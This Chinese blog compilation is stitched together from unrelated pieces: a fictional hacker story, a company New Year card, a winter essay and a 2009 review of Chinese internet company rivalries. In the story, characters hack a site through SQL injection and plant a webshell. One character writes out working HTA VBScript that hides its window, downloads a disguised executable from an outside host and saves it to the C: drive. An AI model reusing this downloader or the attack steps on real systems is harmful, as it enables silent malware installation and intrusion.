第一幕：遭遇小白

我叫小黑，黑白的黑。

小黑是我的网名，因为我是网络中的一名侠客，或者通俗点儿说是一名黑客。我很喜欢行侠仗义的感觉，我崇拜着那种武侠小说里描绘的“侠之大者”和黑社会的古惑仔义气；向往着那种刀光剑影，大碗喝酒、大口吃肉的豪情；不过我只能够在网络的江湖中掀起血雨腥风。当然主要也因为现实生活中的我……

唉，不提了，总之，我是网络中的大侠就可以。

窗外的风又开始吹了，挟裹着白色的雪花打在窗户上，冷风巧妙的绕过那层单薄的玻璃，让屋内寒气袭人。在这个仅有8平米的小房子里，我的手冻得瑟瑟发抖，看着电脑屏幕中PCShare木马中的庞大肉鸡群，我开始漫无目的翻检这些肉鸡的目录。

突然，一台肉鸡吸引了我的注意，屏幕中这台电脑的主人似乎在更新一个网站，难道这是一个网站管理员的电脑？我一下子提起了精神，先提取一下键盘记录，把他的密码搞回来再说。可不知道为什么点了查看“键盘记录”按钮N次，最终什么都提取回来，这是怎么回事儿？查看一下肉鸡的进程！

-_-||我彻底无语了，中国排名前十名的木马和病毒几乎都能够在这台肉鸡中找到，由于病毒多，相互争夺权限，也导致了我无法正常提取回这台肉鸡的键盘记录。眼看着这个肉鸡的上的小白就关闭了自己的网站后台界面，我那叫一个着急呀。

难道我真的寂寞到了极点？不知道为什么我竟然调出了木马的信使功能，给这个电脑小白发了一段话：“你电脑中的病毒真多呀！”。这段话的突然出现让似乎让这个小白有些莫名其妙，在木马的屏幕监控上，小白似乎停止了所有的操作。

“你是谁呀？”

晕，这个小白竟然用信使回复我了。我还以为她会吓得屁滚尿流的关闭电脑。

“我是黑客，我入侵了你的电脑，你害怕不害怕呀？”

“哇！黑客，好神奇呀！你能够进我电脑一定很厉害！”

“-_-||是吗？你的电脑里有好多病毒！”

“我说怎么总感觉它最近反应慢，要不黑客，你帮我杀杀毒吧！”

“o_o||”

“你刚在在更新网站？”

“对呀，我是XX房地产公司的，我刚才在更新我们新开盘的房屋价格。”

此时我在顿然醒悟，这个小白竟然是有地产界“大炮”称号的奸商公司的员工。进入他们公司的网站，里面贴满了“大炮”有经典语录的文章：“中国人太有钱，房子太便宜”、“高档房本来就是穷人买不起的”、“没买房的人都亏了”……

黑了他！



第二幕：黑客无敌

我大学毕业一年多了，在没有迈入社会之前，总以为只要学了跟计算机专业沾边的，就凭我这IQ，将来不是比尔盖茨就是乔布斯，最差也混个马云呀。不过现在看来，我只有给老板们当牛做马的份儿。每个月领着微薄的工资，在城中村简陋的板房中孤单生活。

其实我也有一段凄美的爱情故事，我和女友圆圆险些就步入洞房了，但那个冷若冰霜的准丈母娘冷酷的问我：“娶我女儿的洞房在什么地方？”这时我才发现，无论现实还是童话故事，都是一样残酷的，如果王子没有城堡，公主宁肯嫁给史瑞克，至少他在沼泽地里有木屋。彻底沦为剩男中的“剩斗士”之后，上网成为了我唯一的调剂，我多么希望我菜地里的那栋豪宅能够变成现实呀。

“没买房的人都亏了”，是呀，我连老婆都因为你们这帮奸商亏给别人了！黑掉他！这是我脑海里唯一想到的。传统文化教育我们，谦虚使人进步，骄傲使人落后。在今天这个竞争激烈，张扬自我的年代，谦虚往往失去许多机会，我小黑这个时候就不谦虚了！

说干就干，我迅速调开这个网站的新闻页面，发现网站程序是用动态语言PHP写的，网址都是类似“http://www.nongsita.com/fangzi.php?username=888”这样的动态页面，只要不是HTML之类的静态网页，就总能够找到漏洞。我于是开始在每个网址后面加入了一个“，”号，仅耗时5分钟其中一个页面就立刻爆出了MYSQL的错误提示页面。

注入点顺利的找到了，此时可以祭出辅助工具帮助进行渗透了。我调出了PHP注入中小有名气的“翔哥PHP注入工具”，这是一款能够帮助黑客进行SQL注入的最好的工具之一。

黑客小知识：所谓的SQL注入测试就是通过利用目标网站的某个页面缺少对用户传递参数控制或者控制的不够好的情况下出现的漏洞，从而达到获取、修改、删除数据，甚至控制数据库服务器、Web服务器的目的的测试方法。“翔哥PHP注入工具”能够通过一系列非常简单的操作，达到最大化的攻击测试效果。它从检测注入开始到最后控制目标系统都给出了测试步骤。

在PHP注入工具的URL一项中输入查找出的注入点网址，然后点击Check就开始进行注入漏洞的检验了。很快这家房地产公司网站的数据库名称等信息就全部被猜了出来，然后使用MySQL的提权工具进行提权，添加管理员账号，上传Webshell木马。将他们老板的照片全部PS……



第三幕：连环套，黑吃黑

CBD中心一座摩天高楼中，“大炮”因为新闻媒体报道自己公司网站被黑很不爽。他拿着一支雪茄烟，声色俱厉的训斥着下属。

“狂牛，找到这个跟我作对的家伙！”

屋子里的一个略带微胖的男人，没有说话，轻轻的点了点头，转身离去。

狂牛回到自己的办公室，开始着手分析入侵者，仅凭着直觉，他很快就找到了小黑留在网站中的后门WebShell。

狂牛冷冷一笑，他的计划很简单，在小黑的WebShell上挂一个木马，只要小黑再次向登陆他留在网站中的这个后门，就有可能会中狂牛的木马。狂牛想做的不是清除掉小黑的程序，而是直接清除掉小黑。狂牛在小黑的留下的后门网页中插入了一段iframe框架代码，这段代码指向了一个特殊的.hta的网页，随后在写字板里写下了一段代码：

<script language=vbs>

window.moveTo 4000,4000

window.resizeTo 0,0 '使hta不可见

set objshell= Createobject('WScript.Shell')'hta是可以直接调用WScript.Shell的，不过不能调用wscript.Createobject('WScript.Shell')

downpath=objshell.ExpandEnvironmentStrings('%USERPROFILE%')&'\Local Settings' '根据环境变量得到下载的路径

set xml=document.createElement_x('xml')'建方xml元素调用ie的默认行为

xml.addBehavior('#default#DownLoad')

xml.async=0

xml.load('http://192.168.0.10/xx.htm')'请把exe改名放到空间上，用ftp软件上传的话，可能不行，直接放比较好

ShowAllFile(downpath)

Sub ShowAllFile(Path)

FindFileName='xx[1].htm' '这个也是你需要改的，如果上边是xx.htm，这里就是xx[1].htm

Set FSO = CreateObject('Scripting.FileSystemObject')

Set f = FSO.GetFolder(Path)

Set fc = f.SubFolders

For Each f1 in fc

If FSO.FileExists(path&'\'&f1.name&'\'&FindFileName) Then

FSO.CopyFile path&'\'&f1.name&'\'&FindFileName, 'c:\111.exe' '保存到c:\111.exe，可根据需要改动

'document.write '[+]Download Success !'

End If

ShowAllFile path&'\'&f1.name

Next

Set FSO = Nothing

End Sub

window.close

</script>

代码写完后，保存为.hta文件，带着木马被一并上传到了被黑的网站中。狂牛现在所做的仅是等待……



第四幕：三天后

凌晨2点，小黑刚刚打开电脑，连接上网络，突然屏幕一黑，硬盘开始疯狂的转动，小黑此时意识到大事不妙，慌忙的去拔网线，然而一切都晚了，硬盘中的数据已经全部被销毁，连主板的BIOS也被破坏，狂牛将小黑电脑BIOS启动图片修改成了一个大大的“拆”字……

新年的一年即将开始。祝福朋友们新年快乐·······

给单位做的贺卡：

  用理想缔造美好的明天

　来到这里将近4个月了，今天外边已经是零下30多度，在这里我仍然保有着困惑。我想这里的安天人和我一样。

　　没有人能够预知这样一个充满了生机的集体会最终走向何方。他们所追求的最终目标，或许就是在安天研发部的墙壁上贴着的纸贴上所写的：

　　“在我们生活的世界之外，有一个信息世界独立存在着，我们对他凝视深思，热忱地献出我们的青春与智慧，这是最高的幸福，是天堂。”

    我也有着我自己的天堂，我的梦想，但愿我在蓝色羽翼的之下能飞的更高更远......

设计之初还是不报有什么希望的，

后来评为说很喜欢变开始对此充满了期待。

不过最后还是落马了，有点失落。

最终入围效果：

蜗居惯了的我不喜欢冬天，因为除了寒冷我联想不到其他的美好。

离开了熟悉的城市，我徜徉于哈尔滨这座大街小巷，

在去感受中国最北方最寒冷的城市时，我却觉得它是如此的可爱~~~

渐渐地，我习惯于哈尔滨

习惯了这冬的凛冽，冬的纯洁，冬的寂寥，冬的宁静。

亦如现在工作生活所摆着的心态，平静的像是冬。

沉寂在绝望之中，看待这世事苍凉。

我想如我一样喜欢冬的会习惯冬的人都是些孤独的人，但万不是寂寞的人，

他们只是把孤独当做一种修炼，自省内心，获得安定。
因此，我觉得对于一个对着冬有着眷恋的人来说，一定要去看最纯粹的冬。

    敲下这篇文字的时候，起先听的是cano，后听起了班得瑞的初雪。这两首曲子的旋律极为干净，不带一丝粉尘。四季的排序是，春夏秋冬。一年之初为春，一年之终在冬。可越是听这样与冬相似的曲调，越是觉得冬的干净，像是初生的婴儿。

    时光在指尖中划过，还有不足2周又是新的一年~~~每逢这个是时候都会感慨万分，无限对青春的困惑。但愿在这个如此纯净的的冬季里能收获一片片如他一样的纯洁美好光阴~~~~~

我爱这个冬天.....

  如果从电影的视角盘点2009年的中国互联网，这绝非温情脉脉的偶像剧，也非闷骚含蓄的历史剧，而是一幕幕关于恩怨和仇恨的黑帮电影。如果要选择导演，不是吕克贝松，就是杜琪峰。

  不管是已经占山为王的大佬，还是初出茅庐的小弟，几乎主流的公司都被设定在了剧情之中。即便是刻意要和江湖杀戮“保持距离”的，也难免或主动或被动的被拉进来，扮演路人甲、路人乙的角色。

无他，有人的地方就有江湖。

 2009年的中国互联网，在枪与火中匍匐前进，没有让人眼前一亮的创新和变革，只有打打杀杀的血色浪漫，只有你争我夺的窝里斗。

从这个意义上来讲，2009年的中国互联网，还处于它的“蜗居”时代。既然是“蜗居”，难免为了水费、电费、卫生费的事，弄个面红耳赤，甚至大打出手……

——关公战的不是秦琼，是寂寞

 图：小月

暴力指数：★

领衔主演：Google、微软

武术指导：Linux

剧情概要：谷歌推出了免费的Chrome OS，它并没有说针对微软，但人人都这么说——谷歌生来就是颠覆微软的。于是，Chrome OS不得不去PK Windows。

观影指南：这场黑帮电影玩的是“意识流”，你根本看不到双方的交手，只是旁边有很多人在呐喊助威。

点评：

无论如何，让Google Chrome OS去和微软的Windows放到一起竞争，都有点“关公战秦琼”的味道。但好事者偏偏不信邪——谷歌生来就是颠覆微软的，为什么它推出的操作系统不去会一会对手？

现实要让所有人失望了。对于Chrome OS，你可以期待它的未来，天花乱坠，但现实会将你打入冰窖。

首先，它是冲着上网本而来。近年来上网本的销量飞速增长，这为谷歌提供了契机，而且谷歌倡导的“互联网才是未来”也与上网本的定位颇为呼应。但这肯定是一场旷日持久的战争，即便谷歌赢得了胜利，上网本依然无法彻底取代整个PC市场。

其次，至少在目前，谷歌还缺乏众多软硬件厂商的支持。在web里使用photoshop这样的大家伙，这听上去确实有些疯狂，更别提类似maya、3dmax等更恐怖的应用。而在硬件驱动方面，微软有自己庞大的支持阵营，并且利益渊源颇深，谷歌虽是“新宠”，但短时间难以撼动。

再次，这个就是意识形态上的问题了，微软代表了“软件时代”，谷歌代表了“互联网时代”，与其说是Chrome OS与Windows的对抗，不如说是两大阵营、两大意识形态的对抗，要想取得完胜，敌人绝不是微软一家，而是以微软为首的软件家族。

即使做完了这一切，谷歌还要过用户的一关。它必须说服用户相信将自己的一切数据，包括隐私存放在谷歌的服务器上，以实现云计算的伟大理想。要将数据放在其他电脑里，而不担心有一天它们不翼而飞或者被用作不正当用途，这并不容易。

图:小月

——问君能有几多愁，恰似B2C盈利没盼头

暴力指数：★★★

领衔主演：卓越亚马逊、当当、京东商城等

武术指导：Amazon

剧情概要：当当宣布“全场运费免费”，卓越亚马逊也宣布“全场免运费”，当当回应“不惧对手”。两者的明争暗斗又一次浮现。

观影指南：血拼开始了。就当是看一场拔河比赛吧，一边喊“加油”，一边等着哪一边抗不住先倒地。顺便祈祷“不要因为免运费而让快递服务大打折扣”。

点评：

有人说互联网的下一个金矿一定是电子商务，但从目前的B2C平台上来看，现实很残酷。卓越亚马逊和当当背景挺相似，都是垂直电子商务定位，都是靠图书、音像类商品起家，又都在尝试扩大产品线走多元化的道路。

对于这么两家相似的B2C公司来说，本应该惺惺相惜，但视对方为“眼中钉”、“假想敌”的彼此，早已经忘了他们共同的敌人——图书、音像类商品的利润率偏薄。要想在电子商务平台经营上实现突破，在规模化的同时，必须有更高的利润追求。

实际上不仅仅是卓越和当当，京东商城、新蛋乃至凡客诚品等新兴的B2C平台，都面临着同样的问题。“构建网络上的沃尔玛”是他们共同的追求。

从这个意义上来看待当当和卓越的“免运费”之争，这可以说只算得一场小战役，输赢并不决定大势。

2009年的电子商务领域，有人笑，有人哭，但“五十步不笑百步”，圈的地再多，交易量再大，没有什么利润已经是共同的尴尬。京东商城的营业额已经高得吓人，但其诞生几年以来，一分钱都没有赚过。

C2C平台也好不到哪里去。占据绝对垄断地位的淘宝网算是活得最滋润的一家，但有些变味的是，这一平台从盈利模式来讲，实际已经将自己变成了一个媒体，它的主要收入来源是靠推荐商户赚取“广告费”。这似乎并不是电子商务的初衷。或者说，人们对电子商务的期望值，应该不止于此。

图：小月

——生活就像是超女，熬到最后的都是纯爷们

暴力指数：★★★★★

领衔主演：搜狐、优酷、优朋普乐、迅雷等

武术指导：张朝阳

剧情概要：以搜狐、优朋普乐等为主体的“反盗版联盟”将优酷、迅雷等告上法庭，优酷反诉“名誉侵权”，迅雷指责该联盟为“虚假联盟”。

观影指南：观看这一场争斗要戴好钢盔帽，穿上防弹衣，还要随时准备拨打110。因为它已经不是“口水战”、“诉讼战”这么简单，甚至差点真人PK。

点评：

   如果“反盗版联盟”里不存在搜狐、激动网等视频网站的运营方，或许整个事件的争议性会少很多。如果一个民族还有良知，那么在对知识产权的尊重上，一定不能摇摆。

   问题就出在这里。由于成员身份不纯粹，这不得不让人对这一联盟大张旗鼓的动机产生质疑。后来发生的尴尬一幕即是印证——联盟的成员居然也卷入了盗版官司中，而在此之前，“大家的屁股更是都不干净”。

 不管这些纷纷扰扰的诉讼源自何处、有何结果，有一定可以肯定：搜狐或许是最大的受益者，它希望通过一系列的诉讼公关战扮演“螳螂”的角色。而“黄雀”也可能已经出现，央视已经悄然推出了定位于在线直播的“爱布谷”和定位于分享平台的“爱西柚”，如果在版权链方面，央视绝对在众多视频网站之上。

抛开各家的利益诉求不谈，单论视频网站的盗版问题，要想让行业健康可持续发展，必须解决。或许诉讼不是最好的手段，实际上，过去的若干年里，关于知识产权的诉讼已经多如牛毛，盗版的问题依然没有得到解决。

说到底，盗版问题其实就是一个“钱”的问题，中国人向来推崇“不患寡而患不均”，版权方在乎的是，视频网站靠风险投资和广告主养活的时候，“自己却一毛钱都没拿到”。但视频网站考虑的又是：如果把钱都砸在购买版权上，恐怕死得更快。

这种利益的冲突、矛盾的纠结实际上正是视频行业现状的最佳注脚。悬在视频网站头上，不仅有版权问题，还有高成本投入、政策风险、盈利模式不明确等诸多问题。酷6网刚刚选择了“贱卖”退出，投资人已经没有了信心和耐心。

2010年必将是视频网站的生死考验期，上一轮风险投资即将枯竭、盈利不足以支撑运营、新竞争对手的加入、版权纠纷的持续，种种矛盾都可能在这一年摆在桌面上，哪一个问题处理不好，都可能葬送前程，看不到明天的太阳。

                                                                                图：小月

——谁为谁憔悴，谁因谁枯萎

暴力指数：★★★★

领衔主演：360、微软、金山、瑞星等

武术指导：周鸿祎

剧情概要：360抛弃了“激活码”，推出了免费杀毒软件，成为杀毒软件业内公敌。这一领域迅速进入明争暗夺的混乱年代。金山与360浮出水面的“口水战”也来源于此。

观影指南：戴好头盔，打好雨伞，准备迎接口水的洗礼。但请保持微笑，因为这是2009年所有江湖斗争中，最让用户得益的一个。免费不一定能统治这个世界，但它能让收费不再肆无忌惮。

点评：

哪里有周鸿祎，哪里就不会寂寞。这一次，倒霉的是杀毒软件厂商。

从宣布免费开始，一个月时间，360的“战报”不断传来——到现在，其装机量已经超过5000万台，据说周鸿祎还不满意这个战果，要想在年底突破1亿台。

    不知道其他安全厂商做这样“公然的挑衅”作何感想，但它们的反应让人惊讶，几乎出奇的平静。倒是金山破天荒的站出来，与360在台面上互吐了几把口水，两家在推广上的合作也“顺其自然”的告吹。

    我想，这个时候大家选择沉默，是不想再为“免费”的360做广告，这个不尊重前辈的坏小子已经够让人头疼了。

    围绕360与杀毒厂商之间的恩恩怨怨，也许说上几天几夜也无法说清。如果我们换一个角度，或许豁然开朗：不管如何，如果没有“免费”的360，就没有今天用户能以如此“低廉”的价格，用上绝对正版的杀毒软件。

    我倒是愿意以恶作剧的心态来看待这一切——你们斗吧，闹吧，最好越打越厉害。最好所有的杀毒软件都跟着免费，这样我能像用QQ那样装瑞星，装卡巴斯基，装金山，谁家不好用，马上就换。

    但我又有些于心不忍——如果大家都免费了，不赚钱了，怎么能做出像样的产品，至少在新的盈利模式到来之前。于是一个新的愿望爬上心头：数据显示，中国还有90%以上的电脑处于“裸奔”状态，不妨让这些“裸奔”的用户都装上360，这样360也获得了一个恐怖的装机量，足以试验它倡导的“免费商业模式”，这样咱们既能选择收费的，也能选择免费的，何乐而不为？

    从本质上来讲，免费与收费之争，最终定论还在360能否最终找到盈利模式，将免费进行到底。只有这一天到来，才意味着免费已彻底解除信任危机。这就好比，没有人会怀疑腾讯会突然宣布QQ必须交钱才能登录一样。

——假作真时真亦假，无为有时有还无

 图：小月

暴力指数：★★★

领衔主演：真假开心网

武术指导：陈一舟

剧情概要：千橡拿下kaixin.com域名，推出山寨版开心网，服务功能、首页设计与开心网如出一辙。开心网以“不正当竞争”为由将千橡告上法庭。

观影指南：带上一只“墨镜”，能够辨别真伪。根本无需理会法庭最后判别的结果，在道德法庭上，鄙视窃取胜利果实者，要多鄙视，有多鄙视。

点评：

     这很有趣：正牌开心网长着一张不那么地道的脸，山寨版的开心网却手握kaixin.com域名。事到如今，山寨开心网的域名拥有者依然是千橡公司，但任凭每一个网民都在忙着“偷菜”或者“抢车位”，这一切都注定与它无关，它是这个“开心”时代的弃儿，也是2009中国互联网最大的笑柄。

     显然，连陈一舟自己恐怕都这么认为，他已经将重心放到了人人网。这不是陈一舟第一次的乌龙事，这位互联网老人，却常常做出不靠谱的雷人之举。

     真假开心网官司的结果，大可不必关心。早点忘掉这一切吧，这是整个中文互联网从业者的羞愧。不过这也反映了法规的漏洞——在商标法方面，国内规定是在申请2年以后才能完成注册，接受注册商标保护，而2年对于互联网来说，足以改朝换代。正是基于此，千橡打起了擦边球。

     真假开心网之争，是2009年中文互联网SNS社交网站火爆局面的缩影。从Myspace和facebook的蹿红开始，这股风潮就愈演愈烈，落脚到中国，SNS以独具特色的“抢车位”和“偷菜”盛行一时。

     实际上国人并非沉默寡言的性格，我们酷爱社交，喜欢热闹。中国更不乏社交网络的土壤——腾讯就是社交网络最成功的案例，诞生了多家上市公司的网络游戏从本质上讲也是社交网络。飘忽在网络和现实的人与人之间的关系，激发着大量小额收费的机会——QQ秀、道具、虚拟币，这都是社交网络可能的生财之道。

     开心网的成功实际上告诉从业者一个讯息：在中国，腾讯或许不一定能垄断社交网络，它还有别的可能。正是这一讯息诱发了无数个“开心网”的诞生，但是有一点是肯定的：大浪淘沙之后，总会有一大批从业者最终将不“开心”。